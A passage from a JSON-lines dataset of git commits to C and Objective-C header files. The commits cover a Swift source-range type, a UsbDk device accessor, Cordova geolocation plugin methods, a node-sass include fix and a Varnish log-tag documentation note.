&&\n           \"Start and end should either both be valid or both be invalid!\");\n  }\n  \n  bool isValid() const { return Start.isValid(); }\n};\n\n} \/\/ end namespace swift\n\n#endif\n","subject":"Add datatypes for swift to represent source locations and ranges, which are distinct from the SMXXX types. This is important because SMRange and SourceRange have subtly different semantics, and is also nice to isolate SMLoc from swift.","message":"Add datatypes for swift to represent source locations and ranges, which are \ndistinct from the SMXXX types.  This is important because SMRange and\nSourceRange have subtly different semantics, and is also nice to isolate\nSMLoc from swift.\n\n\nSwift SVN r749\n","lang":"C","license":"apache-2.0","repos":"stephentyrone\/swift,airspeedswift\/swift,jmgc\/swift,KrishMunot\/swift,nathawes\/swift,khizkhiz\/swift,emilstahl\/swift,alblue\/swift,shajrawi\/swift,airspeedswift\/swift,deyton\/swift,swiftix\/swift.old,huonw\/swift,practicalswift\/swift,mightydeveloper\/swift,parkera\/swift,amraboelela\/swift,russbishop\/swift,atrick\/swift,therealbnut\/swift,sdulal\/swift,LeoShimonaka\/swift,russbishop\/swift,bitjammer\/swift,shajrawi\/swift,SwiftAndroid\/swift,dduan\/swift,gmilos\/swift,swiftix\/swift.old,slavapestov\/swift,xwu\/swift,benlangmuir\/swift,danielmartin\/swift,hooman\/swift,dduan\/swift,khizkhiz\/swift,CodaFi\/swift,hooman\/swift,Ivacker\/swift,dreamsxin\/swift,natecook1000\/swift,glessard\/swift,CodaFi\/swift,jmgc\/swift,allevato\/swift,tkremenek\/swift,allevato\/swift,tkremenek\/swift,devincoughlin\/swift,harlanhaskins\/swift,airspeedswift\/swift,manavgabhawala\/swift,stephentyrone\/swift,hughbe\/swift,huonw\/swift,sdulal\/swift,danielmartin\/swift,austinzheng\/swift,lorentey\/swift,frootloops\/swift,emilstahl\/swift,CodaFi\/swift,nathawes\/swift,practicalswift\/swift,gmilos\/swift,alblue\/swift,cbrentharris\/swift,Jnosh\/swift,codestergit\/swift,devincoughlin\/swift,KrishMunot\/swift,cbrentharris\/swift,nathawes\/swift,gregomni\/swift,calebd\/swift,danielmartin\/swift,glessard\/swift,xedin\/swift,parkera\/swift,practicalswift\/swift,aschwaighofer\/swift,lorentey\/swift,brentdax\/swift,LeoShimonaka\/swift,sschiau\/swift,dduan\/swift,tardieu\/swift,karwa\/swift,kusl\/swift,kentya6\/swift,MukeshKumarS\/Swift,uasys\/swift,jckarter\/swift,ahoppen\/swift,swiftix\/swift,OscarSwanros\/swift,manavgabhawala\/swift,harlanhaskins\/swift,khizkhiz\/swift,xedin\/swift,gregomni\/swift,felix91gr\/swift,JaSpa\/swift,frootloops\/swift,calebd\/swift,JaSpa\/swift,milseman\/swift,atrick\/swift,apple\/swift,manavgabhawala\/swift,deyton\/swift,swiftix\/swift,swiftix\/swift,deyton\/swift,aschwaighofer\/swift,glessard\/swift,gmilos\/swift,ken0nek\/swift,slavapestov\/swift,devincoughlin\/swift,roambotics\/swift,bitjammer\/swift,tinysun212\/swift-windows,tardieu\/swift,hughbe\/swift,bitjammer\/swift,frootloops\/swift,jmgc\/swift,karwa\/swift,brentdax\/swift,xedin\/swift,kstaring\/swift,manavgabhawala\/swift,xwu\/swift,shahmishal\/swift,kperryua\/swift,huonw\/swift,dduan\/swift,sschiau\/swift,alblue\/swift,djwbrown\/swift,shahmishal\/swift,Jnosh\/swift,allevato\/swift,lorentey\/swift,jopamer\/swift,natecook1000\/swift,atrick\/swift,modocache\/swift,arvedviehweger\/swift,ken0nek\/swift,lorentey\/swift,kperryua\/swift,Jnosh\/swift,hooman\/swift,apple\/swift,dduan\/swift,gribozavr\/swift,benlangmuir\/swift,OscarSwanros\/swift,stephentyrone\/swift,JGiola\/swift,jtbandes\/swift,arvedviehweger\/swift,gottesmm\/swift,glessard\/swift,kusl\/swift,stephentyrone\/swift,austinzheng\/swift,nathawes\/swift,CodaFi\/swift,zisko\/swift,natecook1000\/swift,johnno1962d\/swift,KrishMunot\/swift,IngmarStein\/swift,tjw\/swift,tjw\/swift,CodaFi\/swift,danielmartin\/swift,IngmarStein\/swift,gregomni\/swift,natecook1000\/swift,manavgabhawala\/swift,benlangmuir\/swift,IngmarStein\/swift,return\/swift,roambotics\/swift,hughbe\/swift,cbrentharris\/swift,devincoughlin\/swift,gottesmm\/swift,gregomni\/swift,brentdax\/swift,zisko\/swift,johnno1962d\/swift,djwbrown\/swift,xwu\/swift,jopamer\/swift,apple\/swift,SwiftAndroid\/swift,ken0nek\/swift,codestergit\/swift,felix91gr\/swift,arvedviehweger\/swift,nathawes\/swift,KrishMunot\/swift,modocache\/swift,kusl\/swift,shajrawi\/swift,aschwaighofer\/swift,LeoShimonaka\/swift,arvedviehweger\/swift,OscarSwanros\/swift,amraboelela\/swift,ben-ng\/swift,sdulal\/swift,roambotics\/swift,gottesmm\/swift,karwa\/swift,airspeedswift\/swift,emilstahl\/swift,milseman\/swift,LeoShimonaka\/swift,allevato\/swift,jckarter\/swift,karwa\/swift,Ivacker\/swift,russbishop\/swift,return\/swift,tjw\/swift,danielmartin\/swift,sschiau\/swift,ahoppen\/swift,manavgabhawala\/swift,mightydeveloper\/swift,OscarSwanros\/swift,JaSpa\/swift,adrfer\/swift,tkremenek\/swift,milseman\/swift,practicalswift\/swift,tjw\/swift,devincoughlin\/swift,adrfer\/swift,modocache\/swift,practicalswift\/swift,rudkx\/swift,xedin\/swift,ben-ng\/swift,uasys\/swift,MukeshKumarS\/Swift,IngmarStein\/swift,frootloops\/swift,hughbe\/swift,bitjammer\/swift,deyton\/swift,xedin\/swift,stephentyrone\/swift,Jnosh\/swift,jopamer\/swift,practicalswift\/swift,kperryua\/swift,shajrawi\/swift,uasys\/swift,sdulal\/swift,IngmarStein\/swift,kentya6\/swift,tardieu\/swift,shahmishal\/swift,ken0nek\/swift,CodaFi\/swift,djwbrown\/swift,felix91gr\/swift,slavapestov\/swift,Jnosh\/swift,airspeedswift\/swift,jckarter\/swift,swiftix\/swift.old,dduan\/swift,kusl\/swift,frootloops\/swift,airspeedswift\/swift,tjw\/swift,MukeshKumarS\/Swift,emilstahl\/swift,kentya6\/swift,ben-ng\/swift,shahmishal\/swift,kstaring\/swift,kusl\/swift,atrick\/swift,kperryua\/swift,Ivacker\/swift,russbishop\/swift,shajrawi\/swift,sschiau\/swift,emilstahl\/swift,swiftix\/swift.old,uasys\/swift,codestergit\/swift,danielmartin\/swift,codestergit\/swift,aschwaighofer\/swift,zisko\/swift,tardieu\/swift,tkremenek\/swift,harlanhaskins\/swift,cbrentharris\/swift,roambotics\/swift,jmgc\/swift,sdulal\/swift,parkera\/swift,parkera\/swift,swiftix\/swift,jtbandes\/swift,Ivacker\/swift,harlanhaskins\/swift,alblue\/swift,gribozavr\/swift,gregomni\/swift,hooman\/swift,atrick\/swift,devincoughlin\/swift,gregomni\/swift,KrishMunot\/swift,ahoppen\/swift,hooman\/swift,khizkhiz\/swift,emilstahl\/swift,LeoShimonaka\/swift,mightydeveloper\/swift,ben-ng\/swift,djwbrown\/swift,djwbrown\/swift,SwiftAndroid\/swift,benlangmuir\/swift,shajrawi\/swift,JaSpa\/swift,calebd\/swift,russbishop\/swift,IngmarStein\/swift,aschwaighofer\/swift,kentya6\/swift,ken0nek\/swift,ahoppen\/swift,tkremenek\/swift,atrick\/swift,CodaFi\/swift,tardieu\/swift,codestergit\/swift,jopamer\/swift,amraboelela\/swift,swiftix\/swift,bitjammer\/swift,gmilos\/swift,gribozavr\/swift,MukeshKumarS\/Swift,swiftix\/swift,shahmishal\/swift,dreamsxin\/swift,devincoughlin\/swift,KrishMunot\/swift,parkera\/swift,IngmarStein\/swift,milseman\/swift,karwa\/swift,uasys\/swift,practicalswift\/swift,ken0nek\/swift,gribozavr\/swift,sdulal\/swift,MukeshKumarS\/Swift,adrfer\/swift,glessard\/swift,JGiola\/swift,uasys\/swift,modocache\/swift,sdulal\/swift,rudkx\/swift,jtbandes\/swift,therealbnut\/swift,lorentey\/swift,benlangmuir\/swift,codestergit\/swift,rudkx\/swift,bitjammer\/swift,hughbe\/swift,mightydeveloper\/swift,natecook1000\/swift,nathawes\/swift,cbrentharris\/swift,mightydeveloper\/swift,OscarSwanros\/swift,calebd\/swift,khizkhiz\/swift,frootloops\/swift,shahmishal\/swift,kstaring\/swift,arvedviehweger\/swift,JGiola\/swift,zisko\/swift,swiftix\/swift.old,brentdax\/swift,johnno1962d\/swift,brentdax\/swift,huonw\/swift,zisko\/swift,shajrawi\/swift,return\/swift,jmgc\/swift,apple\/swift,jtbandes\/swift,Ivacker\/swift,felix91gr\/swift,lorentey\/swift,jmgc\/swift,austinzheng\/swift,tinysun212\/swift-windows,uasys\/swift,gottesmm\/swift,deyton\/swift,adrfer\/swift,ben-ng\/swift,therealbnut\/swift,austinzheng\/swift,gmilos\/swift,devincoughlin\/swift,jopamer\/swift,austinzheng\/swift,hooman\/swift,russbishop\/swift,tardieu\/swift,mightydeveloper\/swift,amraboelela\/swift,OscarSwanros\/swift,djwbrown\/swift,gribozavr\/swift,rudkx\/swift,aschwaighofer\/swift,apple\/swift,SwiftAndroid\/swift,slavapestov\/swift,jopamer\/swift,johnno1962d\/swift,LeoShimonaka\/swift,dduan\/swift,tjw\/swift,amraboelela\/swift,stephentyrone\/swift,natecook1000\/swift,return\/swift,huonw\/swift,therealbnut\/swift,zisko\/swift,MukeshKumarS\/Swift,jopamer\/swift,parkera\/swift,gottesmm\/swift,austinzheng\/swift,rudkx\/swift,Jnosh\/swift,slavapestov\/swift,JaSpa\/swift,return\/swift,xwu\/swift,karwa\/swift,parkera\/swift,airspeedswift\/swift,kusl\/swift,hooman\/swift,xwu\/swift,xedin\/swift,jckarter\/swift,kperryua\/swift,kusl\/swift,shahmishal\/swift,KrishMunot\/swift,shahmishal\/swift,gottesmm\/swift,johnno1962d\/swift,gottesmm\/swift,huonw\/swift,xedin\/swift,amraboelela\/swift,sschiau\/swift,nathawes\/swift,brentdax\/swift,apple\/swift,amraboelela\/swift,alblue\/swift,kperryua\/swift,kstaring\/swift,glessard\/swift,johnno1962d\/swift,adrfer\/swift,JaSpa\/swift,mightydeveloper\/swift,adrfer\/swift,zisko\/swift,gmilos\/swift,swiftix\/swift.old,lorentey\/swift,kperryua\/swift,hughbe\/swift,felix91gr\/swift,kentya6\/swift,deyton\/swift,johnno1962d\/swift,Jnosh\/swift,codestergit\/swift,swiftix\/swift.old,Ivacker\/swift,kstaring\/swift,modocache\/swift,xwu\/swift,manavgabhawala\/swift,deyton\/swift,arvedviehweger\/swift,russbishop\/swift,Ivacker\/swift,practicalswift\/swift,bitjammer\/swift,gribozavr\/swift,harlanhaskins\/swift,tinysun212\/swift-windows,JGiola\/swift,sschiau\/swift,jckarter\/swift,khizkhiz\/swift,calebd\/swift,natecook1000\/swift,return\/swift,hughbe\/swift,shajrawi\/swift,sdulal\/swift,allevato\/swift,khizkhiz\/swift,therealbnut\/swift,allevato\/swift,return\/swift,ahoppen\/swift,SwiftAndroid\/swift,kentya6\/swift,ken0nek\/swift,harlanhaskins\/swift,arvedviehweger\/swift,ben-ng\/swift,tardieu\/swift,OscarSwanros\/swift,jtbandes\/swift,austinzheng\/swift,calebd\/swift,lorentey\/swift,tinysun212\/swift-windows,emilstahl\/swift,tkremenek\/swift,alblue\/swift,kentya6\/swift,parkera\/swift,slavapestov\/swift,milseman\/swift,mightydeveloper\/swift,jmgc\/swift,karwa\/swift,emilstahl\/swift,felix91gr\/swift,huonw\/swift,kstaring\/swift,felix91gr\/swift,modocache\/swift,cbrentharris\/swift,therealbnut\/swift,cbrentharris\/swift,roambotics\/swift,adrfer\/swift,roambotics\/swift,SwiftAndroid\/swift,sschiau\/swift,slavapestov\/swift,benlangmuir\/swift,sschiau\/swift,djwbrown\/swift,kusl\/swift,xedin\/swift,xwu\/swift,tinysun212\/swift-windows,modocache\/swift,calebd\/swift,cbrentharris\/swift,JaSpa\/swift,gmilos\/swift,kentya6\/swift,tinysun212\/swift-windows,jckarter\/swift,LeoShimonaka\/swift,jtbandes\/swift,aschwaighofer\/swift,milseman\/swift,swiftix\/swift.old,MukeshKumarS\/Swift,danielmartin\/swift,karwa\/swift,Ivacker\/swift,JGiola\/swift,milseman\/swift,tjw\/swift,frootloops\/swift,JGiola\/swift,SwiftAndroid\/swift,allevato\/swift,LeoShimonaka\/swift,jckarter\/swift,gribozavr\/swift,ben-ng\/swift,ahoppen\/swift,kstaring\/swift,swiftix\/swift,gribozavr\/swift,tkremenek\/swift,jtbandes\/swift,therealbnut\/swift,stephentyrone\/swift,tinysun212\/swift-windows,rudkx\/swift,harlanhaskins\/swift,brentdax\/swift,alblue\/swift"}
{"commit":"b66be8ed628e2a467c5c230eb2b91899af1ba6ed","old_file":"UsbDk\/UsbTarget.h","new_file":"UsbDk\/UsbTarget.h","old_contents":"#pragma once\n\n#include \"ntddk.h\"\n#include \"wdf.h\"\n#include \"usb.h\"\n#include \"UsbSpec.h\"\n#include \"wdfusb.h\"\n#include \"Alloc.h\"\n\nclass CWdfUsbInterface;\n\nclass CWdfUsbTarget\n{\npublic:\n    CWdfUsbTarget();\n    ~CWdfUsbTarget();\n\n    NTSTATUS Create(WDFDEVICE Device);\n    void DeviceDescriptor(USB_DEVICE_DESCRIPTOR &Descriptor);\n    NTSTATUS ConfigurationDescriptor(UCHAR Index, PUSB_CONFIGURATION_DESCRIPTOR Descriptor, PULONG TotalLength);\n    NTSTATUS SetInterfaceAltSetting(UCHAR InterfaceIdx, UCHAR AltSettingIdx);\n\nprivate:\n    WDFDEVICE m_Device = WDF_NO_HANDLE;\n    WDFUSBDEVICE m_UsbDevice = WDF_NO_HANDLE;\n\n    CObjHolder<CWdfUsbInterface> m_Interfaces;\n    UCHAR m_NumInterfaces = 0;\n\n    CWdfUsbTarget(const CWdfUsbTarget&) = delete;\n    CWdfUsbTarget& operator= (const CWdfUsbTarget&) = delete;\n};\n","new_contents":"#pragma once\n\n#include \"ntddk.h\"\n#include \"wdf.h\"\n#include \"usb.h\"\n#include \"UsbSpec.h\"\n#include \"wdfusb.h\"\n#include \"Alloc.h\"\n\nclass CWdfUsbInterface;\n\nclass CWdfUsbTarget\n{\npublic:\n    CWdfUsbTarget();\n    ~CWdfUsbTarget();\n\n    NTSTATUS Create(WDFDEVICE Device);\n    void DeviceDescriptor(USB_DEVICE_DESCRIPTOR &Descriptor);\n    NTSTATUS ConfigurationDescriptor(UCHAR Index, PUSB_CONFIGURATION_DESCRIPTOR Descriptor, PULONG TotalLength);\n    NTSTATUS SetInterfaceAltSetting(UCHAR InterfaceIdx, UCHAR AltSettingIdx);\n\n    operator WDFUSBDEVICE () const\n    { return m_UsbDevice; }\n\nprivate:\n    WDFDEVICE m_Device = WDF_NO_HANDLE;\n    WDFUSBDEVICE m_UsbDevice = WDF_NO_HANDLE;\n\n    CObjHolder<CWdfUsbInterface> m_Interfaces;\n    UCHAR m_NumInterfaces = 0;\n\n    CWdfUsbTarget(const CWdfUsbTarget&) = delete;\n    CWdfUsbTarget& operator= (const CWdfUsbTarget&) = delete;\n};\n","subject":"Introduce USB target raw device accessor","message":"UsbDk: Introduce USB target raw device accessor\n\nSigned-off-by: Dmitry Fleytman <f50f56ffad4b379c2a89812e98b14900ef87e9ea@redhat.com>\n","lang":"C","license":"apache-2.0","repos":"freedesktop-unofficial-mirror\/spice__win32__usbdk,SPICE\/win32-usbdk,daynix\/UsbDk,daynix\/UsbDk,SPICE\/win32-usbdk,freedesktop-unofficial-mirror\/spice__win32__usbdk,freedesktop-unofficial-mirror\/spice__win32__usbdk"}
{"commit":"584d2815becf4c8c5a69bf52ce44a73bb4db29b3","old_file":"src\/ios\/CDVBackgroundGeoLocation.h","new_file":"src\/ios\/CDVBackgroundGeoLocation.h","old_contents":"\/\/\n\/\/  CDVBackgroundGeoLocation.h\n\/\/\n\/\/  Created by Chris Scott <chris@transistorsoft.com>\n\/\/\n\n#import <Cordova\/CDVPlugin.h>\n#import \"CDVLocation.h\"\n#import <AudioToolbox\/AudioToolbox.h>\n\n@interface CDVBackgroundGeoLocation : CDVPlugin <CLLocationManagerDelegate>\n\n@property (nonatomic, strong) NSString* syncCallbackId;\n@property (nonatomic, strong) NSMutableArray* stationaryRegionListeners;\n\n- (void) configure:(CDVInvokedUrlCommand*)command;\n- (void) start:(CDVInvokedUrlCommand*)command;\n- (void) stop:(CDVInvokedUrlCommand*)command;\n- (void) finish:(CDVInvokedUrlCommand*)command;\n- (void) onPaceChange:(CDVInvokedUrlCommand*)command;\n- (void) setConfig:(CDVInvokedUrlCommand*)command;\n\n- (void) onSuspend:(NSNotification *)notification;\n- (void) onResume:(NSNotification *)notification;\n\n@end\n\n","new_contents":"\/\/\n\/\/  CDVBackgroundGeoLocation.h\n\/\/\n\/\/  Created by Chris Scott <chris@transistorsoft.com>\n\/\/\n\n#import <Cordova\/CDVPlugin.h>\n#import \"CDVLocation.h\"\n#import <AudioToolbox\/AudioToolbox.h>\n\n@interface CDVBackgroundGeoLocation : CDVPlugin <CLLocationManagerDelegate>\n\n@property (nonatomic, strong) NSString* syncCallbackId;\n@property (nonatomic, strong) NSMutableArray* stationaryRegionListeners;\n\n- (void) configure:(CDVInvokedUrlCommand*)command;\n- (void) start:(CDVInvokedUrlCommand*)command;\n- (void) stop:(CDVInvokedUrlCommand*)command;\n- (void) finish:(CDVInvokedUrlCommand*)command;\n- (void) onPaceChange:(CDVInvokedUrlCommand*)command;\n- (void) setConfig:(CDVInvokedUrlCommand*)command;\n- (void) onStationary:(CDVInvokedUrlCommand*)command;\n- (void) getStationaryLocation:(CDVInvokedUrlCommand *)command;\n- (void) onSuspend:(NSNotification *)notification;\n- (void) onResume:(NSNotification *)notification;\n\n@end\n\n","subject":"Add 2 missing public methods to .h, including new onStationary method","message":"Add 2 missing public methods to .h, including new onStationary method\n","lang":"C","license":"apache-2.0","repos":"akserg\/cordova-plugin-background-geolocation,KL-Moment\/cordova-plugin-background-geolocation,gkachru\/cordova-plugin-background-geolocation,Anthbs\/cordova-plugin-background-geolocation,KL-Moment\/cordova-plugin-background-geolocation,imranw\/cordova-plugin-background-geolocation,hydrogennz\/cordova-plugin-background-geolocation,hydrogennz\/cordova-plugin-background-geolocation,mauron85\/cordova-plugin-mauron85-background-geolocation-phonegapbuild,tdenovan\/cordova-plugin-background-geolocation,Anthbs\/cordova-plugin-background-geolocation,tiangolo\/cordova-plugin-background-geolocation,ZenCity\/cordova-plugin-background-geolocation,parmod-arora\/cordova-plugin-background-geolocation,redskyit\/cordova-plugin-background-geolocation,bastian-meier\/cordova-plugin-background-geolocation,redskyit\/cordova-plugin-background-geolocation,finchen\/cordova-plugin-background-geolocation-1,AndresRojasIsaza\/cordova-plugin-background-geolocation,finchen\/cordova-plugin-background-geolocation-1,huttj\/cordova-plugin-background-geolocation,hydrogennz\/cordova-plugin-background-geolocation,KL-Moment\/cordova-plugin-background-geolocation,akserg\/cordova-plugin-background-geolocation,huttj\/cordova-plugin-background-geolocation,mauron85\/cordova-plugin-mauron85-background-geolocation-phonegapbuild,AndresRojasIsaza\/cordova-plugin-background-geolocation,finchen\/cordova-plugin-background-geolocation-1,tiangolo\/cordova-plugin-background-geolocation,ZenCity\/cordova-plugin-background-geolocation,danilab\/cordova-plugin-background-geolocation-1,imranw\/cordova-plugin-background-geolocation,bastian-meier\/cordova-plugin-background-geolocation,parmod-arora\/cordova-plugin-background-geolocation,tdenovan\/cordova-plugin-background-geolocation,svennerberg\/cordova-plugin-background-geolocation,KL-Moment\/cordova-plugin-background-geolocation,AndresRojasIsaza\/cordova-plugin-background-geolocation,keesschollaart81\/cordova-plugin-background-geolocation,Anthbs\/cordova-plugin-background-geolocation,huttj\/cordova-plugin-background-geolocation,danilab\/cordova-plugin-background-geolocation-1,keesschollaart81\/cordova-plugin-background-geolocation,imranw\/cordova-plugin-background-geolocation,tdenovan\/cordova-plugin-background-geolocation,huttj\/cordova-plugin-background-geolocation,danilab\/cordova-plugin-background-geolocation-1,finchen\/cordova-plugin-background-geolocation-1,svennerberg\/cordova-plugin-background-geolocation,ZenCity\/cordova-plugin-background-geolocation,akserg\/cordova-plugin-background-geolocation,GeoTob\/cordova-plugin-background-geolocation,tdenovan\/cordova-plugin-background-geolocation,mauron85\/cordova-plugin-background-geolocation,imranw\/cordova-plugin-background-geolocation,ZenCity\/cordova-plugin-background-geolocation,Anthbs\/cordova-plugin-background-geolocation,GeoTob\/cordova-plugin-background-geolocation,tiangolo\/cordova-plugin-background-geolocation,hydrogennz\/cordova-plugin-background-geolocation,akserg\/cordova-plugin-background-geolocation,parmod-arora\/cordova-plugin-background-geolocation,tiangolo\/cordova-plugin-background-geolocation,mauron85\/cordova-plugin-mauron85-background-geolocation-phonegapbuild,keesschollaart81\/cordova-plugin-background-geolocation,svennerberg\/cordova-plugin-background-geolocation,parmod-arora\/cordova-plugin-background-geolocation,mauron85\/cordova-plugin-background-geolocation,mauron85\/cordova-plugin-background-geolocation,AndresRojasIsaza\/cordova-plugin-background-geolocation,gkachru\/cordova-plugin-background-geolocation,svennerberg\/cordova-plugin-background-geolocation"}
{"commit":"5f6c802acf18c69a74c7a9b84d5c33321d433893","old_file":"src\/sass_context_wrapper.h","new_file":"src\/sass_context_wrapper.h","old_contents":"#include <nan.h>\n#include <condition_variable>\n#include \"libsass\/sass_context.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n  using namespace v8;\n\n  void compile_data(struct Sass_Data_Context* dctx);\n  void compile_file(struct Sass_File_Context* fctx);\n  void compile_it(uv_work_t* req);\n\n  struct sass_context_wrapper {\n    \/\/ binding related\n    bool is_sync;\n    void* cookie;\n    const char* prev;\n    const char* file;\n    std::mutex* importer_mutex;\n    std::condition_variable* importer_condition_variable;\n\n    \/\/ libsass related\n    Sass_Import** imports;\n    Sass_Data_Context* dctx;\n    Sass_File_Context* fctx;\n\n    \/\/ libuv related\n    uv_async_t async;\n    uv_work_t request;\n\n    \/\/ v8 and nan related\n    Persistent<Object> result;\n    NanCallback* error_callback;\n    NanCallback* success_callback;\n    NanCallback* importer_callback;\n  };\n\n  struct sass_context_wrapper*      sass_make_context_wrapper(void);\n  void sass_wrapper_dispose(struct sass_context_wrapper*, char*);\n  void sass_free_context_wrapper(struct sass_context_wrapper*);\n\n#ifdef __cplusplus\n}\n#endif\n","new_contents":"#include <stdlib.h>\n#include <nan.h>\n#include <condition_variable>\n#include \"libsass\/sass_context.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n  using namespace v8;\n\n  void compile_data(struct Sass_Data_Context* dctx);\n  void compile_file(struct Sass_File_Context* fctx);\n  void compile_it(uv_work_t* req);\n\n  struct sass_context_wrapper {\n    \/\/ binding related\n    bool is_sync;\n    void* cookie;\n    const char* prev;\n    const char* file;\n    std::mutex* importer_mutex;\n    std::condition_variable* importer_condition_variable;\n\n    \/\/ libsass related\n    Sass_Import** imports;\n    Sass_Data_Context* dctx;\n    Sass_File_Context* fctx;\n\n    \/\/ libuv related\n    uv_async_t async;\n    uv_work_t request;\n\n    \/\/ v8 and nan related\n    Persistent<Object> result;\n    NanCallback* error_callback;\n    NanCallback* success_callback;\n    NanCallback* importer_callback;\n  };\n\n  struct sass_context_wrapper*      sass_make_context_wrapper(void);\n  void sass_wrapper_dispose(struct sass_context_wrapper*, char*);\n  void sass_free_context_wrapper(struct sass_context_wrapper*);\n\n#ifdef __cplusplus\n}\n#endif\n","subject":"Include <stdlib.h> for malloc related functions.","message":"Include <stdlib.h> for malloc related functions.\n","lang":"C","license":"mit","repos":"gravityrail\/node-sass,deanrather\/node-sass,cvibhagool\/node-sass,Smartbank\/node-sass,SomeoneWeird\/node-sass,xzyfer\/node-sass,Smartbank\/node-sass,sass\/node-sass,xzyfer\/node-sass,nfriedly\/node-sass,greyhwndz\/node-sass,greyhwndz\/node-sass,glassdimly\/node-sass,littlepoolshark\/node-sass,FeodorFitsner\/node-sass,paulcbetts\/node-sass,nschonni\/node-sass,xzyfer\/node-sass,alanhogan\/node-sass,jnbt\/node-sass,kylecho\/node-sass,greyhwndz\/node-sass,nschonni\/node-sass,nibblebot\/node-sass,alanhogan\/node-sass,plora\/node-sass,eskygo\/node-sass,SomeoneWeird\/node-sass,justame\/node-sass,JohnAlbin\/node-sass,Cydrobolt\/node-sass,besarthoxhaj\/node-sass,cfebs\/node-sass,davejachimiak\/node-sass,FeodorFitsner\/node-sass,quentinyang\/node-sass,nibblebot\/node-sass,am11\/node-sass,Smartbank\/node-sass,xzyfer\/node-sass,alanhogan\/node-sass,gdi2290\/node-sass,saper\/node-sass,JTKnox91\/node-sass,Cydrobolt\/node-sass,yanickouellet\/node-sass,jnbt\/node-sass,cfebs\/node-sass,plora\/node-sass,cvibhagool\/node-sass,bigcommerce-labs\/node-sass,saper\/node-sass,chriseppstein\/node-sass,sass\/node-sass,saper\/node-sass,quentinyang\/node-sass,pmq20\/node-sass,sass\/node-sass,sass\/node-sass,saper\/node-sass,gravityrail\/node-sass,cvibhagool\/node-sass,glassdimly\/node-sass,lwdgit\/node-sass,deanrather\/node-sass,gdi2290\/node-sass,alanhogan\/node-sass,glassdimly\/node-sass,ankurp\/node-sass,xzyfer\/node-sass,EdwonLim\/node-sass-china,glassdimly\/node-sass,pmq20\/node-sass,justame\/node-sass,dazld\/node-sass,JTKnox91\/node-sass,paulcbetts\/node-sass,FeodorFitsner\/node-sass,nschonni\/node-sass,quentinyang\/node-sass,nschonni\/node-sass,jnbt\/node-sass,Vitogee\/node-sass,Vitogee\/node-sass,saper\/node-sass,nschonni\/node-sass,dazld\/node-sass,sass\/node-sass,EdwonLim\/node-sass-china,sass\/node-sass,nibblebot\/node-sass,xzyfer\/node-sass,justame\/node-sass,quentinyang\/node-sass,nfriedly\/node-sass,ankurp\/node-sass,lwdgit\/node-sass,kylecho\/node-sass,xzyfer\/node-sass,besarthoxhaj\/node-sass,deanrather\/node-sass,saper\/node-sass,nschonni\/node-sass,kylecho\/node-sass,Vitogee\/node-sass,justame\/node-sass,ekskimn\/node-sass,Smartbank\/node-sass,pmq20\/node-sass,deanrather\/node-sass,cvibhagool\/node-sass,am11\/node-sass,yanickouellet\/node-sass,ekskimn\/node-sass,chriseppstein\/node-sass,sass\/node-sass,nfriedly\/node-sass,JTKnox91\/node-sass,bigcommerce-labs\/node-sass,Smartbank\/node-sass,littlepoolshark\/node-sass,littlepoolshark\/node-sass,saper\/node-sass,gravityrail\/node-sass,gdi2290\/node-sass,Cydrobolt\/node-sass,am11\/node-sass,Smartbank\/node-sass,bigcommerce-labs\/node-sass,Vitogee\/node-sass,ankurp\/node-sass,plora\/node-sass,besarthoxhaj\/node-sass,paulcbetts\/node-sass,lwdgit\/node-sass,nibblebot\/node-sass,davejachimiak\/node-sass,bigcommerce-labs\/node-sass,JTKnox91\/node-sass,greyhwndz\/node-sass,cfebs\/node-sass,gravityrail\/node-sass,SomeoneWeird\/node-sass,chriseppstein\/node-sass,gdi2290\/node-sass,ekskimn\/node-sass,nschonni\/node-sass,dazld\/node-sass,ekskimn\/node-sass,eskygo\/node-sass,paulcbetts\/node-sass,lwdgit\/node-sass,JohnAlbin\/node-sass,eskygo\/node-sass,JohnAlbin\/node-sass,chriseppstein\/node-sass,Smartbank\/node-sass,davejachimiak\/node-sass,yanickouellet\/node-sass,plora\/node-sass,am11\/node-sass,kylecho\/node-sass,pmq20\/node-sass,cfebs\/node-sass,ankurp\/node-sass,Cydrobolt\/node-sass,FeodorFitsner\/node-sass,EdwonLim\/node-sass-china,dazld\/node-sass,jnbt\/node-sass"}
{"commit":"b0c1b4beb324942040a5d9fd2abb617f8d83f612","old_file":"include\/shmlog_tags.h","new_file":"include\/shmlog_tags.h","old_contents":"\/*\n * $Id$\n *\n * Define the tags in the shared memory in a reusable format.\n * Whoever includes this get to define what the SLTM macro does.\n *\n *\/\n\nSLTM(Debug)\nSLTM(Error)\nSLTM(CLI)\nSLTM(SessionOpen)\nSLTM(SessionReuse)\nSLTM(SessionClose)\nSLTM(BackendOpen)\nSLTM(BackendXID)\nSLTM(BackendReuse)\nSLTM(BackendClose)\nSLTM(HttpError)\nSLTM(ClientAddr)\nSLTM(Backend)\nSLTM(Request)\nSLTM(Response)\nSLTM(Length)\nSLTM(Status)\nSLTM(URL)\nSLTM(Protocol)\nSLTM(Header)\nSLTM(BldHdr)\nSLTM(LostHeader)\nSLTM(VCL_call)\nSLTM(VCL_trace)\nSLTM(VCL_return)\nSLTM(XID)\nSLTM(Hit)\nSLTM(ExpBan)\nSLTM(ExpPick)\nSLTM(ExpKill)\nSLTM(WorkThread)\n","new_contents":"\/*\n * $Id$\n *\n * Define the tags in the shared memory in a reusable format.\n * Whoever includes this get to define what the SLTM macro does.\n *\n * REMEMBER to update the documentation (especially the varnishlog(1) man\n * page) whenever this list changes.\n *\/\n\nSLTM(Debug)\nSLTM(Error)\nSLTM(CLI)\nSLTM(SessionOpen)\nSLTM(SessionReuse)\nSLTM(SessionClose)\nSLTM(BackendOpen)\nSLTM(BackendXID)\nSLTM(BackendReuse)\nSLTM(BackendClose)\nSLTM(HttpError)\nSLTM(ClientAddr)\nSLTM(Backend)\nSLTM(Request)\nSLTM(Response)\nSLTM(Length)\nSLTM(Status)\nSLTM(URL)\nSLTM(Protocol)\nSLTM(Header)\nSLTM(BldHdr)\nSLTM(LostHeader)\nSLTM(VCL_call)\nSLTM(VCL_trace)\nSLTM(VCL_return)\nSLTM(XID)\nSLTM(Hit)\nSLTM(ExpBan)\nSLTM(ExpPick)\nSLTM(ExpKill)\nSLTM(WorkThread)\n","subject":"Add a note to update varnishlog(1) whenever this list changes.","message":"Add a note to update varnishlog(1) whenever this list changes.\n\ngit-svn-id: 7d4b18ab7d176792635d6a7a77dd8cbbea8e8daa@418 